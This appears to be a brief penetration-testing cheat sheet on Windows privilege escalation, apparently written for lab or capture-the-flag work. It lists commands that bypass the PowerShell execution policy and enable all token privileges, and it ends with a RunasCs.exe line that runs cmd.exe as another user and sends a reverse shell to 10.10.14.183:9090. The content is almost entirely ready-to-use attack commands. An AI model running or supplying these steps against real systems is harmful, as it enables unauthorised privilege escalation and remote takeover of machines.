Skip to content

Enable Privileges

  • https://learn-powershell.net/2015/06/03/managing-privileges-using-poshprivilege/
  • https://github.com/proxb/PoshPrivilege/tree/master?tab=readme-ov-file

Bypass PowerShell Execution policy

  • Set-ExecutionPolicy bypass -scope process

Enable Privs

  • Import-Module .\Enable-Privilege.ps1
    • OR
  • .\EnableAllTokenPrivs.ps1
  • whoami /priv

RunAs a different user

  • if you have an interactive shell:
    • RunasCs.exe user password cmd.exe -r 10.10.14.183:9090